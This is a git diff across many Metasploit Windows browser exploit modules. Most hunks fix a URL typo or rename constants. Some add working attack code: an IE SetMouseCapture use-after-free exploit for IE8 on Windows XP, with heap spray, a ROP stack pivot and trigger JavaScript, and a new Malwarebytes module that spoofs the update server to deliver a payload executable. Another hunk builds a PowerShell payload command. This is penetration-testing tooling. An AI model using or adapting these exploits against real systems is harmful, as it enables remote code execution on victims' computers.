+++ b/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb index 7ea0cc7822..81301a134f 100644 --- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb +++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,13 +16,13 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "8.0", # :ua_maxver => "8.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :rank => GoodRanking #}) def initialize(info={}) super(update_info(info, - 'Name' => "Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability", + 'Name' => "MS13-008 Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CButton object is freed, but a reference diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb index 01864436ff..96741d004e 100644 --- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb +++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote :ua_minver => "8.0", :ua_maxver => "8.0", :javascript => true, - :os_name => OperatingSystems::WINDOWS, + :os_name => OperatingSystems::Match::WINDOWS, :rank => GoodRanking }) diff --git a/modules/exploits/windows/browser/ie_createobject.rb b/modules/exploits/windows/browser/ie_createobject.rb index 14309fb53d..4b49aa83b6 100644 --- a/modules/exploits/windows/browser/ie_createobject.rb +++ b/modules/exploits/windows/browser/ie_createobject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote # than the max by setting to 6.1 (which doesn't really exist). :ua_maxver => "6.1", :javascript => true, - :os_name => OperatingSystems::WINDOWS, + :os_name => OperatingSystems::Match::WINDOWS, :method => [ 'CreateObject', 'GetObject' ], :classid => [ @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer COM CreateObject Code Execution', + 'Name' => 'MS06-014 Microsoft Internet Explorer COM CreateObject Code Execution', 'Description' => %q{ This module exploits a generic code execution vulnerability in Internet Explorer by abusing vulnerable ActiveX objects. diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb index 00e85c8625..d50fcc1ad8 100644 --- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb +++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ie_iscomponentinstalled.rb b/modules/exploits/windows/browser/ie_iscomponentinstalled.rb index 5227a8a753..09d208386c 100644 --- a/modules/exploits/windows/browser/ie_iscomponentinstalled.rb +++ b/modules/exploits/windows/browser/ie_iscomponentinstalled.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer isComponentInstalled Overflow', + 'Name' => 'Microsoft Internet Explorer isComponentInstalled Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Internet Explorer. This bug was patched in Windows 2000 SP4 and Windows XP SP1 according to MSRC. diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index 2481314107..1be71a45b7 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,12 +8,11 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, - 'Name' => "Microsoft Internet Explorer SetMouseCapture Use-After-Free", + 'Name' => "MS13-080 Microsoft Internet Explorer SetMouseCapture Use-After-Free", 'Description' => %q{ This module exploits a use-after-free vulnerability that currents targets Internet Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11. @@ -35,13 +34,13 @@ class Metasploit3 < Msf::Exploit::Remote To mimic the same exploit found in the wild, this module will try to use the same DLL from Microsoft Office 2007 or 2010 to leverage the attack. - }, 'License' => MSF_LICENSE, 'Author' => [ - 'Unknown', # Exploit in the wild first spotted in Japan - 'sinn3r' # Metasploit (thx binjo for the heads up!) + 'Unknown', # Exploit in the wild first spotted in Japan + 'sinn3r', # Metasploit (thx binjo for the heads up!) + 'Rich Lundeen' # IE8 windows xp ], 'References' => [ @@ -53,10 +52,29 @@ class Metasploit3 < Msf::Exploit::Remote [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/30/metasploit-releases-cve-2013-3893-ie-setmousecapture-use-after-free' ] ], 'Platform' => 'win', + 'BrowserRequirements' => + { + :ua_name => HttpClients::IE, + :source => /script/i + }, 'Targets' => [ [ 'Automatic', {} ], - [ 'IE 9 on Windows 7 SP1 with Microsoft Office 2007 or 2010', {} ] + [ + 'Windows 7 with Office 2007|2010', + { + :os_name => 'Windows 7', + :ua_ver => "9.0", + :office => /2007|2010/ + } + ], + [ + 'Windows XP with IE 8', + { + :os_name => 'Windows XP', + :ua_ver => "8.0" + } + ] ], 'Payload' => { @@ -73,55 +91,17 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0)) end - def is_win7_ie9?(agent) - (agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/) - end - - def get_preq_html(cli, req) - %Q| -<html> -<script> - function getDLL() { - var checka = 0; - var checkb = 0; - - try { - checka = new ActiveXObject("SharePoint.OpenDocuments.4"); - } catch (e) {} - - try { - checkb = new ActiveXObject("SharePoint.OpenDocuments.3"); - } catch (e) {} - - if ((typeof checka) == "object" && (typeof checkb) == "object") { - return "office2010"; - } - else if ((typeof checka) == "number" && (typeof checkb) == "object") { - return "office2007"; - } - - return "na"; - } - - window.onload = function() { - document.location = "#{get_resource.chomp("/")}/#{@exploit_page}?dll=" + getDLL(); - } -</script> -</html> - | - end - def junk return rand_text_alpha(4).unpack("V")[0].to_i end - def get_payload(rop_dll) + def get_payload(target_info) code = payload.encoded rop = '' alignment = '' - case rop_dll - when :office2007 + case target_info[:office] + when '2007' alignment = [ junk, # Alignment @@ -129,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote rop = generate_rop_payload('hxds', code, { 'target'=>'2007' }) - when :office2010 + when '2010' alignment = [ # 4 dword junks due to the add esp in stack pivot @@ -148,10 +128,10 @@ class Metasploit3 < Msf::Exploit::Remote p end - def get_exploit_html(cli, req, rop_dll) + def get_exploit_html_ie9(cli, target_info) gadgets = {} - case rop_dll - when :office2007 + case target_info[:office] + when '2007' gadgets[:spray1] = 0x1af40020 # 0x31610020-0xc4, pointer to gadgets[:call_eax] @@ -173,7 +153,7 @@ class Metasploit3 < Msf::Exploit::Remote # ret gadgets[:pivot] = 0x51be4418 - when :office2010 + when '2010' gadgets[:spray1] = 0x1a7f0020 # 0x30200020-0xc4, pointer to gadgets[:call_eax] @@ -199,12 +179,10 @@ class Metasploit3 < Msf::Exploit::Remote gadgets[:pivot] # stack pivot ].pack("V*") - p1 << get_payload(rop_dll) + p1 << get_payload(target_info) - p2 = - [ - gadgets[:call_eax] # MSHTML!CTreeNode::NodeAddRef+0x48 (call eax) - ].pack("V*") + # MSHTML!CTreeNode::NodeAddRef+0x48 (call eax) + p2 = [ gadgets[:call_eax] ].pack("V*") js_s1 = Rex::Text::to_unescape([gadgets[:spray1]].pack("V*")) js_p1 = Rex::Text.to_unescape(p1) @@ -272,40 +250,75 @@ window.onload = function() { | end - def on_request_uri(cli, request) - agent = request.headers['User-Agent'] - unless is_win7_ie9?(agent) - print_error("Not a suitable target: #{agent}") - send_not_found(cli) - end + def get_exploit_html_ie8(cli, target_info) + code = payload.encoded - html = '' - if request.uri =~ /\?dll=(\w+)$/ - rop_dll = '' - if $1 == 'office2007' - print_status("Using Office 2007 ROP chain") - rop_dll = :office2007 - elsif $1 == 'office2010' - print_status("Using Office 2010 ROP chain") - rop_dll = :office2010 - else - print_error("Target does not have Office installed") - send_not_found(cli) - return - end + #address containing our heap spray is 0x20302020 + spray_addr = "\\u2024\\u2030" - html = get_exploit_html(cli, request, rop_dll) - else - print_status("Checking target requirements...") - html = get_preq_html(cli, request) - end + #size to fill after free is 0x50 + free_fill = spray_addr + "\\u2424" * (((0x50-1)/2)-2) + + rop = [ + 0x77c3868a, # stack pivot in msvcrt || xchg eax, esp ; rcr dword [ebx-0x75], 0xFFFFFFC1 ; pop ebp ; ret ; + 0x20302020 # pointer to stack pivot + ].pack("V*") + + rop << generate_rop_payload('msvcrt', code, { 'target'=>'WINDOWS XP SP3' }) << code + + js_rop = Rex::Text.to_unescape(rop) + + %Q| +<html> +<script> + +#{js_property_spray} + +tt = new Array(30); + +function trigger() +{ + var id_0 = document.createElement("sup"); + var id_1 = document.createElement("audio"); + + document.body.appendChild(id_0); + document.body.appendChild(id_1); + id_1.applyElement(id_0); + + id_0.onlosecapture=function(e) { + document.write(""); + + for(i = 0; i < tt.length; i++) { + tt[i] = document.createElement('div'); + tt[i].className ="#{free_fill}"; + } + + var s = unescape("#{js_rop}"); + sprayHeap({shellcode:s}); + } + + id_0['outerText']=""; + id_0.setCapture(); + id_1.setCapture(); +} + +window.onload = function() { + trigger(); +} +</script> + | - send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) end - def exploit - @exploit_page = "default.html" - super + def on_request_exploit(cli, request, target_info) + case target_info[:ua_ver] + when "8.0" + html = get_exploit_html_ie8(cli, target_info) + when "9.0" + html = get_exploit_html_ie9(cli, target_info) + end + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + end end @@ -323,6 +336,13 @@ hxds.dll (Microsoft® Help Data Services Module) FileVersion: 2.05.50727.4039 (QFE.050727-4000) mshtml.dll + + WinXP IE8 DLL info: + ProductVersion: 8.0.6001.18702 + FileVersion: 8.0.6001.18702 + FileDescription: Microsoft (R) HTML Viewer + + Win7 IE9 DLL info: ProductVersion: 9.00.8112.16446 FileVersion: 9.00.8112.16446 (WIN7_IE9_GDR.120517-1400) FileDescription: Microsoft (R) HTML Viewer diff --git a/modules/exploits/windows/browser/ie_unsafe_scripting.rb b/modules/exploits/windows/browser/ie_unsafe_scripting.rb index 2738d40f38..caab7e277b 100644 --- a/modules/exploits/windows/browser/ie_unsafe_scripting.rb +++ b/modules/exploits/windows/browser/ie_unsafe_scripting.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Internet Explorer Unsafe Scripting Misconfiguration', + 'Name' => 'Microsoft Internet Explorer Unsafe Scripting Misconfiguration', 'Description' => %q{ This exploit takes advantage of the "Initialize and script ActiveX controls not marked safe for scripting" setting within Internet Explorer. When this option is set, @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'natron', - 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # PSH and remove ADODB.Stream + 'Ben Campbell' # PSH and remove ADODB.Stream ], 'References' => [ @@ -120,7 +120,7 @@ var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{ end def psh_technique(var_shellobj, p) - cmd = Rex::Text.to_hex(cmd_psh_payload(p.encoded)) + cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first)) js_content = %Q| //<html><head></head><body><script> var #{var_shellobj} = new ActiveXObject("WScript.Shell"); diff --git a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb index af868f4625..fa0e081109 100644 --- a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb +++ b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb index b3f677f8cc..8abc7a8ae0 100644 --- a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb +++ b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "9.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :rank => NormalRanking, # :classid => "{3c9dff6f-5cb0-422e-9978-d6405d10718f}", # :method => "InternationalSeparator" @@ -308,4 +308,4 @@ $ ruby pattern_offset.rb 41306941 6888 $ ruby pattern_offset.rb 336b4632 6888 [*] Exact match at offset 4208 -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb index 5670eedd15..d9bc4a1265 100644 --- a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb +++ b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "9.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :rank => Rank, # :classid => "{0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C}", # :method => "Attachment_Times" @@ -286,4 +286,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/intrust_annotatex_add.rb b/modules/exploits/windows/browser/intrust_annotatex_add.rb index 5d37af6bee..9456b7d5b6 100644 --- a/modules/exploits/windows/browser/intrust_annotatex_add.rb +++ b/modules/exploits/windows/browser/intrust_annotatex_add.rb @@ -1,5 +1,5 @@ ### -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/java_basicservice_impl.rb b/modules/exploits/windows/browser/java_basicservice_impl.rb index 6e61e7d583..3e75330b62 100644 --- a/modules/exploits/windows/browser/java_basicservice_impl.rb +++ b/modules/exploits/windows/browser/java_basicservice_impl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/java_cmm.rb b/modules/exploits/windows/browser/java_cmm.rb index 3a489be727..7ca72c586c 100644 --- a/modules/exploits/windows/browser/java_cmm.rb +++ b/modules/exploits/windows/browser/java_cmm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/java_codebase_trust.rb b/modules/exploits/windows/browser/java_codebase_trust.rb index 190c67b307..cc88830088 100644 --- a/modules/exploits/windows/browser/java_codebase_trust.rb +++ b/modules/exploits/windows/browser/java_codebase_trust.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/java_docbase_bof.rb b/modules/exploits/windows/browser/java_docbase_bof.rb index 51e24327bf..52425ef4c4 100644 --- a/modules/exploits/windows/browser/java_docbase_bof.rb +++ b/modules/exploits/windows/browser/java_docbase_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/java_mixer_sequencer.rb b/modules/exploits/windows/browser/java_mixer_sequencer.rb index 0a77eb0dbf..d6c31e3ecb 100644 --- a/modules/exploits/windows/browser/java_mixer_sequencer.rb +++ b/modules/exploits/windows/browser/java_mixer_sequencer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb index 199a9748b4..bed81f6b2e 100644 --- a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb +++ b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/java_ws_double_quote.rb b/modules/exploits/windows/browser/java_ws_double_quote.rb index 6da71eaec8..f57b207b6d 100644 --- a/modules/exploits/windows/browser/java_ws_double_quote.rb +++ b/modules/exploits/windows/browser/java_ws_double_quote.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/java_ws_vmargs.rb b/modules/exploits/windows/browser/java_ws_vmargs.rb index 73394b9797..e832ba3f89 100644 --- a/modules/exploits/windows/browser/java_ws_vmargs.rb +++ b/modules/exploits/windows/browser/java_ws_vmargs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb b/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb index f3c5bfbc03..c72124cf60 100644 --- a/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb +++ b/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/kazaa_altnet_heap.rb b/modules/exploits/windows/browser/kazaa_altnet_heap.rb index b3e7dbcab6..c6cce237eb 100644 --- a/modules/exploits/windows/browser/kazaa_altnet_heap.rb +++ b/modules/exploits/windows/browser/kazaa_altnet_heap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb index 3d8782b686..4502c63b37 100644 --- a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb +++ b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :ua_name => HttpClients::IE, # :javascript => true, # :rank => NormalRanking, diff --git a/modules/exploits/windows/browser/logitechvideocall_start.rb b/modules/exploits/windows/browser/logitechvideocall_start.rb index b204f706f5..4397a6b09a 100644 --- a/modules/exploits/windows/browser/logitechvideocall_start.rb +++ b/modules/exploits/windows/browser/logitechvideocall_start.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/lpviewer_url.rb b/modules/exploits/windows/browser/lpviewer_url.rb index d4a1424b4e..4f9d33b47f 100644 --- a/modules/exploits/windows/browser/lpviewer_url.rb +++ b/modules/exploits/windows/browser/lpviewer_url.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/macrovision_downloadandexecute.rb b/modules/exploits/windows/browser/macrovision_downloadandexecute.rb index 70e8e03c62..b41222085d 100644 --- a/modules/exploits/windows/browser/macrovision_downloadandexecute.rb +++ b/modules/exploits/windows/browser/macrovision_downloadandexecute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/macrovision_unsafe.rb b/modules/exploits/windows/browser/macrovision_unsafe.rb index d2eafc9891..dc41c99c65 100644 --- a/modules/exploits/windows/browser/macrovision_unsafe.rb +++ b/modules/exploits/windows/browser/macrovision_unsafe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/malwarebytes_update_exec.rb b/modules/exploits/windows/browser/malwarebytes_update_exec.rb new file mode 100644 index 0000000000..db740e9bdd --- /dev/null +++ b/modules/exploits/windows/browser/malwarebytes_update_exec.rb @@ -0,0 +1,126 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking # Would be Great except MBAE doesn't version check + + include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpServer + + VERSION_REGEX = /\/v2\/(mbam|mbae)\/consumer\/version.chk/ + EXE_REGEX = /\/v2\/(mbam|mbae)\/consumer\/data\/(mbam|mbae)-setup-(.*)\.exe/ + NEXT_VERSION = { mbam: '2.0.3.1025', mbae: '1.04.1.1012' } + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution', + 'Description' => %q{ + This module exploits a vulnerability in the update functionality of + Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes + Anti-Exploit consumer 1.03.1.1220. + Due to the lack of proper update package validation, a man-in-the-middle + (MITM) attacker could execute arbitrary code by spoofing the update server + data-cdn.mbamupdates.com and uploading an executable. This module has + been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Yonathan Klijnsma', # Vulnerability discovery and PoC + 'Gabor Seljan', # Metasploit module + 'todb' # Module refactoring + ], + 'References' => + [ + [ 'CVE', '2014-4936' ], + [' OSVDB', '116050'], + [ 'URL', 'http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and'] # Discoverer's blog + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process' + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows Universal', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Dec 16 2014', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), + OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]) + ], self.class) + + # Vulnerable Malwarebytes clients do not allow altering these. + deregister_options('SSL', 'SSLVersion', 'SSLCert') + end + + def on_request_uri(cli, request) + case request.uri + when VERSION_REGEX + serve_update_notice(cli) if set_exploit_target($1, request) + when EXE_REGEX + serve_exploit(cli) + else + vprint_status "Sending empty page for #{request.uri}" + serve_default_response(cli) + end + end + + def serve_default_response(cli) + send_response(cli, '') + end + + def check_client_version(request) + return false unless request['User-Agent'] =~ /base:(\d+\.\d+\.\d+\.\d+)/ + this_version = $1 + next_version = NEXT_VERSION[:mbam] + if + Gem::Version.new(next_version) >= Gem::Version.new(this_version) + return true + else + print_error "Version #{this_version} of Anti-Malware isn't vulnerable, not attempting update." + return false + end + end + + def set_exploit_target(package, request) + case package + when /mbam/i + if check_client_version(request) + @client_software = ['Anti-Malware', NEXT_VERSION[:mbam]] + else + serve_default_response(cli) + return false + end + when /mbae/i + # We don't get identifying info from MBAE + @client_software = ['Anti-Exploit', NEXT_VERSION[:mbae]] + end + end + + def serve_update_notice(cli) + software,next_version = @client_software + print_status "Updating #{software} to (fake) #{next_version}. The user may need to click 'OK'." + send_response(cli, next_version, + 'Content-Type' => 'application/octet-stream' + ) + end + + def serve_exploit(cli) + print_status "Sending payload EXE..." + send_response(cli, generate_payload_exe, + 'Content-Type' => 'application/x-msdos-program' + ) + end + +end diff --git a/modules/exploits/windows/browser/maxthon_history_xcs.rb b/modules/exploits/windows/browser/maxthon_history_xcs.rb index 72e48a4f56..89d894554c 100644 --- a/modules/exploits/windows/browser/maxthon_history_xcs.rb +++ b/modules/exploits/windows/browser/maxthon_history_xcs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb index d0a92c513e..fd0d8dd703 100644 --- a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb +++ b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/mcafee_mvt_exec.rb b/modules/exploits/windows/browser/mcafee_mvt_exec.rb index 0c34987d18..2d39cac1ad 100644 --- a/modules/exploits/windows/browser/mcafee_mvt_exec.rb +++ b/modules/exploits/windows/browser/mcafee_mvt_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -117,4 +117,4 @@ class Metasploit3 < Msf::Exploit::Remote end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb b/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb index 270786e369..525a9b842d 100644 --- a/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb +++ b/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/mirc_irc_url.rb b/modules/exploits/windows/browser/mirc_irc_url.rb index ab74a0a6e3..e5ab64c876 100644 --- a/modules/exploits/windows/browser/mirc_irc_url.rb +++ b/modules/exploits/windows/browser/mirc_irc_url.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb index 87a0689323..7cba8400bc 100644 --- a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb +++ b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git 